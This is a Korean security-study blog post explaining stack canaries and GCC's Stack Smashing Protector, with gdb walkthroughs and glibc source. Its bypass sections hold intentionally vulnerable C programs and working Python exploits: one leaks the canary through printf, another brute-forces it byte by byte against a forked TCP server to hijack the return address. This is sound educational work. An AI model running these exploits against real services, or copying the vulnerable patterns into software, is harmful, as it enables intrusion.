[Protection Tech.] Canaries(카나리), SSP
System/System Hacking

[Protection Tech.] Canaries(카나리), SSP

Canaries (Canary word)

버퍼 오버플로우를 모니터하기 위해 버퍼와 제어 데이터(SFP) 사이에 설정된 값; 버퍼 오버플로우가 발생하면 canary의 값이 손상되고 canaries 데이터의 검증에 실패해 오버플로우에 대한 경고가 출력되고 손상된 데이터를 무효화 처리한다.

버퍼 Canary SFP

△ 카나리가 적용된 경우 스택 구조


Canaries의 종류

➰ Terminator Canaries

canary 값을 문자열의 끝을 나타내는 문자들-NULL(0x00), CR(0x0d), LF(0x0a) EOF(0xff)-을 이용해 생성한다.

공격자가 이 canaries를 우회하기 위해서는 return address를 쓰기 전에 null 문자를 써야한다. null 문자는 overflow를 방지하게 한다. (strcpy()함수는 null 문자의 위치까지 복사) 그럼에도 불구하고 공격자는 잠재적으로 canary를 알려진 값으로 겹쳐쓰고 정보를 틀린 값들로 제어해서 canary 검사코드를 통과할 수 있게된다.

➰ Random Canaries

canary 값을 랜덤하게 생성한다. (일반적으로 exploit을 통해 canary의 값을 읽는 것은 불가능하다.) 생성되고 난 후 프로그램 초기 설정 시에 전역 변수에 값이 저장된다. 보통 매핑되지 않은 페이지에 저장한다. 해당 메모리를 읽으려고 하면 segmentation fault가 발생하면서 프로그램이 종료한다.

공격자가 canary의 값이 저장된 스택 주소를 알거나 스택의 값을 읽어올 수 있는 프로그램이 있다면! canary의 값을 확인할 수는 있다.

➰ Random XOR Canaries

canary 값을 모든 제어 데이터 또는 일부의 제어 데이터를 사용해 XOR scramble하여 생성한다. canary의 값과 제어 데이터가 오염됐을 때 canary의 값이 달라진다.

random canaries와 마찬가지이지만, random 보다는 stack에서 canary의 값을 읽어오는 방법이 조금 더 복잡하다. 공격자가 canary를 다시 인코딩하기 위해서는 original canary의 값 + 알고리즘 + 제어 데이터 가 필요하다.


Example -64bit

//gcc -o canary canary.c
#include <stdio.h>
 
void main(int argc, char **argv)
{
    char Overflow[32];
     
    printf("Hello world!\n");
    gets(Overflow);
 
}

(1) 코드 분석

gets 함수를 호출하는 부분과 canary 값 저장하는 위치에 break point 설정한다
실행

rdi 레지스터: 0x7fffffffddd0 => 사용자 값이 저장되는 영역이다

ni 하고 "A"*32 입력

사용자 값이 저장되는 영역(0x7fffffffddd0)에 "A"*32의 문자열을 저장한다.

c

mov rax, qword ptr [rbp-8] = rax 레지스터에 [rbp-0x8] 영역에 저장된 값을 저장한다.

 - rbp-8 영역에 저장된 값: 0x347360dd65e9dd00

ni

xor rax, qword ptr fs:[0x28] = rax 레지스터에 저장된 값과 fs:0x28 레지스터에 저장된 값을 xor 연산한다.

ni

je main+78<0x400624> = rax 레지스터의 값이 0과 같으면 main+78  영역으로 이동한다

ni

프로그램이 정상적으로 종료된다.

(2) canary 값 덮어쓰기

breakpoint를 설정하고 처음 r 실행하는 것 까지는 위 (1)과 동일하다. 또한 사용자의 입력 값이 저장되는 위치와 canary의 위치는 (1)과 동일하다.

(1)과 달리 canary를 덮어쓰기 위해 "A"*40 + "B"*8 를 입력한다.
ni 실행 전 rbp위치에서의 값을 읽는다.

사용자의 입력값으로 인해 canary의 값이 0x4242424242424242으로 바뀌었다.

c

rax 레지스터에 rbp(7fffffffde00)-0x8 영역에 저장된 값(0x4242424242424242)을 저장한다. 

ni

rax 레지스터에 저장된 값과 fs:0x28 레지스터에 저장된 값을 xor 연산한다.

ni

rax 레지스터의 값이 0이 아닌 0xa4a5ca368213b642이기 때문에 0x400624가 아닌 0x40061f로 이동한다.

따라서 __stack_chk_fail 함수를 호출하게 되면서 "stack smashing detected" 오류 메시지를 출력한다.


SSP (Stack Smashing Protector)

memory corruption 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호기법; 스택 버퍼와 스택 프레임 포인터(SFP) 사이에 카나리를 생성해 함수 종료 시점에서 카나리 값의 변조 여부를 검사해 스택이 망가뜨려졌는지 확인한다.

마스터 카나리는 main함수가 호출되기 전에 랜덤으로 생성된 카나리를 스레드 별 전역변수로 사용되는 TLS(Thread Local Storage)에 저장한다. 

* TLS영역은 _dl_allocate_tls_sotrage함수에서 __libc_memalign 함수를 호출하여 할당한다. 그리고 tcbhead_t 구조체를 가진다.

void *
internal_function
_dl_allocate_tls_storage (void)
{
  void *result;
  size_t size = GL(dl_tls_static_size);
#if TLS_DTV_AT_TP
  /* Memory layout is:
     [ TLS_PRE_TCB_SIZE ] [ TLS_TCB_SIZE ] [ TLS blocks ]
			  ^ This should be returned.  */
  size += (TLS_PRE_TCB_SIZE + GL(dl_tls_static_align) - 1)
	  & ~(GL(dl_tls_static_align) - 1);
#endif
  /* Allocate a correctly aligned chunk of memory.  */
  result = __libc_memalign (GL(dl_tls_static_align), size);
  ...
}
typedef struct
{
  void *tcb;		/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;		/* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  uintptr_t pointer_guard;
  int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
  int private_futex;
#else
  int __glibc_reserved1;
#endif
  /* Reservation of some values for the TM ABI.  */
  void *__private_tm[4];
  /* GCC split stack support.  */
  void *__private_ss;
} tcbhead_t;

security_init 함수는 _dl_setup_stack_chk_guard 함수에서 반환한 랜덤 카나리 값을 설정한다. 

static void
security_init (void)
{
  /* Set up the stack checker's canary.  */
  uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
  THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
  __stack_chk_guard = stack_chk_guard;
#endif

THREAD_SET_STACK_GUARD 매크로는 TLS 영역의 header.stack_guard에 카나리의 값을 삽입하는 역할을 한다.

#define THREAD_SET_STACK_GUARD(value) \
  THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)

Example (1) -32bit

master1

// gcc -o master1 master1.c -m32
#include <stdio.h>
#include <unistd.h>
int main()
{
	char buf[256];
	read(0, buf, 256);
}

- 256byte 크기의 배열 buf를 할당하고 read를 통해 입력받는다.

- SSP 보호기법이 적용되어 있고 지역변수(buf)를 사용하기 때문에 main 함수에서 카나리를 삽입하고 검사하는 루틴이 존재한다.

main+20: mov DWORD PTR [ebp-0xc], eax (= eax의 값을 [ebp-0xc]의 주소로 이동)에 breakpoint를 설정하고 실행한다. 즉, eax에 저장된 canary의 값이 ebp-0xc에 저장되므로 rbp-8이 카나리의 위치가 된다. eax 레지스터를 보면 카나리의 값이 0xc104ff00이다.

master32 프로세스의 메모리 맵 중 TLS 영역은 0xf7e01000 ~ 0xf7e02000이고, TLS 영역의 header.stack_guard(0xf7e01714)에 canary가 존재하는 것을 확인할 수 있다. 이는 gs:0x14를 접근함으로써 참조할 수 있다. 따라서, master canary를 공격자가 조작하게 되면 random canary의 값을 몰라도 gs:0x14에 접근해 비교하는 SSP 보호기법을 우회할 수 있게된다.


Example (2)

// gcc -o no_ssp no_ssp.c -m32 -fno-stack-protector
#include <stdio.h>
#include <string.h>
void func(char *s){
    char buf[16] = {};
    strcpy(buf, s);
}
int main(int argc, char *argv[]){
	func(argv[1]);
}
// gcc -o ssp ssp.c -m32
#include <stdio.h>
#include <string.h>
void func(char *s){
    char buf[16] = {};
    /* 
    long canary = stack_guard; 
    */
    strcpy(buf, s);
    /* 
    if (canary != stack_guard)
        stack_chk_fail();
    */
}
int main(int argc, char *argv[]){
	func(argv[1]);
}

ssp 기법이 적용되어 있지 않아 canary가 발견되지 않는 no_ssp 바이너리와 ssp 기법을 적용해 canary가 발견되는 ssp 바이너리

func 함수의 disassembly 코드 비교 (no_ssp / ssp)

SSP 보호기법이 적용된 경우 스택 배열을 사용하는 함수가 있으면 함수의 시작부분과 끝부분에 ssp.c와 같이 stack_guard 체크 코드가 삽입된다. → ssp에서는 함수의 프롤로그와 에필로그 부분에 스택 카나리 검증 루틴이 추가되어 있다.

스택 버퍼 오버플로우 취약점을 트리거해본다.

버퍼의 크기(16)보다 긴 문자열(AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)를 입력

no_ssp 바이너리는 Segmentation fault 에러가 출력되며 프로그램이 비정상 종료되고,

ssp 바이너리는 __stack_chk_fail 함수가 호출되면서 stack smashing detected가 출력되면서 프로그램을 종료한다.

 

stack canary를 bufferoverflow를 통해 변조했다


Bypassing SSP (1)

SSP 보호기법을 우회하려면 스택 메모리에 존재하는 스택 카나리의 값을 변조시키지 않은 채로 exploit 해야한다.

 

// gcc -o example1 example1.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
void give_shell(void){
  system("/bin/sh");
}
int main(void){
  
  char buf[32] = {};
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  printf("Input1 : ");
  read(0, buf, 512);
  printf("Your input : %s", buf);
  printf("Input2 : ");
  read(0, buf, 512);
}

Canary 발견됨 = SSP 적용되어 있음

- main 함수에서 read(0, buf, 512를 두 번 호출하는데, 이 때 buf의 크기보다 더 큰 크기를 입력받도록 되어 있어 스택 버퍼오버플로우가 두 번 발생한다.

- SSP가 설정되어 있기 때문에, 스택 카나리의 값을 알아내지 못하면 스택 버퍼 오버플로우만으로 exploit할 수 없다.

- printf("%s"):  NULL 바이트를 만날 때까지 출력한다. → buf 배열의 끝이 NULL이 아니라면?! buf 배열 밖의 메모리까지 출력할 수 있게된다!

read함수를 호출하는 시점에 breakpoint를 설정하고 esp의 주소를 확인해보면 0xffffcfd4임을 확인할 수 있다. 이 때 example1.c 소스코드를 보면 buf의 크기가 32byte = 0x20이기 때문에 카나리의 주소가 0xffffcff4임을 알 수 있다.

→ '스택카나리+1'부터 'buf'까지의 거리 = 0x21

#!/usr/bin/python
'''
example6_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
  res = ''
  try:
    while True:
      ch = os.read(fd, 1)
      res += ch
      if ch == '\n':
        return res
  except:
    raise
def read(fd, n):
  return os.read(fd, n)
def writeline(proc, data):
  try:
    proc.stdin.write(data + '\n')
    proc.stdin.flush()
  except:
    raise
def write(proc, data):
  try:
    proc.stdin.write(data)
    proc.stdin.flush()
  except:
    raise
def p32(val):
  return struct.pack("<I", val)
def u32(data):
  return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example1", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) 
write(s, "A"*33)
data = read(out_r, 1024)                    # printing until null byte (containing canary)
print `"[+] data : " + data`
canary = "\x00" + data.split("A"*33)[1][:3] # retrieving canary from data
print "[+] CANARY : " + hex(u32(canary))

△ leak.py

스택 카나리의 값을 출력하는 leak.py 를 실행한 결과 canary의 값은 0x9166a300이다.

gdb를 통해 give_shell 함수의 주소를 구하면 그 주소값은 0x804854b이고 이 값으로 리턴 주소를 덮어 쉘을 획득해본다.

쉘 획득!


Bypassing SSP (2)

fork 함수: 부모 프로세스의 TLS 영역과 스택 메모리 등을 복제해 자식 프로세스를 생성하는 함수 >> fork 함수를 사용하여 자식 프로세스를 생성할 경우, 보무와 자식 프로세스의 스택 카나리의 값은 동일하다.

// gcc -o ssp_server ssp_server.c -m32
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <time.h> 
#define PORT 31337
char *name = "What is your name? ";
char *bye = "See you again.";
char *critical_msg = "THIS_FUNCTION_SHOULD_NOT_BE_CALLED";
void critical(int fd){
    send(fd, critical_msg, strlen(critical_msg), 0);
}
void handler(int fd)
{
    char buf[32] = {};
    send(fd, &fd, 4, 0);
    send(fd, name, strlen(name), 0);
    read(fd, buf, 1024);
    return;
}
int main(void)
{
    int server_fd, new_socket, pid; 
    struct sockaddr_in address; 
    int opt = 1; 
    int addrlen = sizeof(address); 
    char *hello = "Hello from server"; 
       
    // Creating socket file descriptor 
    if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) 
    { 
        perror("socket failed"); 
        exit(EXIT_FAILURE); 
    } 
       
    if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, 
                                                  &opt, sizeof(opt))) 
    { 
        perror("setsockopt"); 
        exit(EXIT_FAILURE); 
    } 
    address.sin_family = AF_INET; 
    address.sin_addr.s_addr = INADDR_ANY; 
    address.sin_port = htons( PORT ); 
       
    if (bind(server_fd, (struct sockaddr *)&address,  
                                 sizeof(address))<0) 
    { 
        perror("bind failed"); 
        exit(EXIT_FAILURE); 
    } 
    if (listen(server_fd, 3) < 0) 
    { 
        perror("listen"); 
        exit(EXIT_FAILURE); 
    }
    while (1)
    {
        if ((new_socket = accept(server_fd, (struct sockaddr *)&address,  
                           (socklen_t*)&addrlen))<0) 
        { 
            perror("accept"); 
            exit(EXIT_FAILURE); 
        }
        pid = fork();
        if (pid == -1)
        {
            perror("fork failed");
            exit(EXIT_FAILURE);
        } 
        else if (pid)
        {
            puts("Socket connected");
            close(new_socket);
        } 
        else
        {
            handler(new_socket);
            send(new_socket, bye, strlen(bye), 0);
            return 0;
        }
    }
    return 0; 
}

△ ssp_server.c fork 함수를 이용한 서버프로그램의 소스코드

- 31377번 포트에 TCP 서버를 연 후 클라이언트의 연결이 들어오면 자식 프로세스를 생성한 후 handler 함수를 호출한다.

- handler 함수: 32byte의 버퍼에 1024byte를 입력받기 때문에 Buffer Overflow가 발생한다.

- SSP 보호기법이 적용되어있기 때문에 스택 버퍼 오버플로우를 익스플로잇하려면 SSP를 우회해야한다.

- 부모 프로세스: 자식 프로세스의 시그널을 처리하는 루틴이 없다 >> 자식 프로세스에서 SIGSEGV, SIGABRT 예외가 발생해도 종료되지 않는다.

- handler 함수가 정상적으로 리턴된다면 bye 문자열을 출력하고, 자식 프로세스가 SIGABRT 예외로 종료된다면 bye 문자열을 출력하지 않는다.

→ "bye" 문자열이 출력되는지에 따라 스택 카나리 검사를 통과했는지 여부를 확인 가능 + 자식 프로세스와 부모 프로세스의 스택 카나리는 동일 => 브루트 포싱 공격(brute force attack)으로 스택 카나의 값을 한 바이트씩 알아낼 수 있다. 

#!/usr/bin/python
import struct
import socket
import time
def p32(val):
  return struct.pack("<I", val)
def u32(val):
  return struct.unpack("<I", val)[0]
def recvuntil(sock, needle):
  res = ''
  while True:
    res += sock.recv(1)
    if needle in res:
      return res
IP = '127.0.0.1'
PORT = 31337
# First byte of canary is NULL byte
canary = '\x00'
for _ in range(3):
  for i in range(256):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((IP, PORT))
    recvuntil(s, "What is your name? ")
    payload = "A"*0x20
    payload += canary + chr(i)
    s.send(payload)
    res = s.recv(1024)
    if 'See you again.' in res:
      canary += chr(i)
      print `canary`
      s.close()
      break
    s.close()
print `"Stack Canary : " + canary`
CRITICAL_ADDR = 0x080486db 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
client_fd = u32(s.recv(4))
print "client fd : %d"%client_fd
recvuntil(s, "What is your name? ")
payload = "A"*0x20
payload += canary
payload += "B"*0xc
payload += p32(CRITICAL_ADDR)
payload += p32(0xdeadbeef)
payload += p32(client_fd)
s.send(payload)
print `s.recv(1024)`
s.close()

△ ssp_server.py : ssp_server의 스택 카나리 값을 알아내고 handler 함수의 리턴 주소를 critical 함수의 주소로 덮어 critical 함수를 호출하여 공격하는 코드

- 스택 카나리의 3byte를 알아내고 payload를 전달함으로 스택 카나리를 알아낸다. 알아낸 스택 카나리를 이용해 handler 함수의 리턴 주소를 critical 함수의 주소로 덮는다.

- client_fd = u32(s.recv(4)): 클라이언트의 소켓 파일 디스크립터 client_fd를 알아내고 critical 함수의 인자로 전달한다.

 

::참고::

www.lazenca.net/display/TEC/03.Canaries

dreamhack.io/learn/4#1

 

SMALL

'System > System Hacking' 카테고리의 다른 글

[Protection Tech.] RELRO  (0) 2021.03.30
FSB (Format String Bug)  (0) 2021.02.10
[Protection Tech.] ASLR  (0) 2021.01.15
PLT, GOT  (0) 2021.01.14
[Protection Tech.] NX bit  (2) 2021.01.03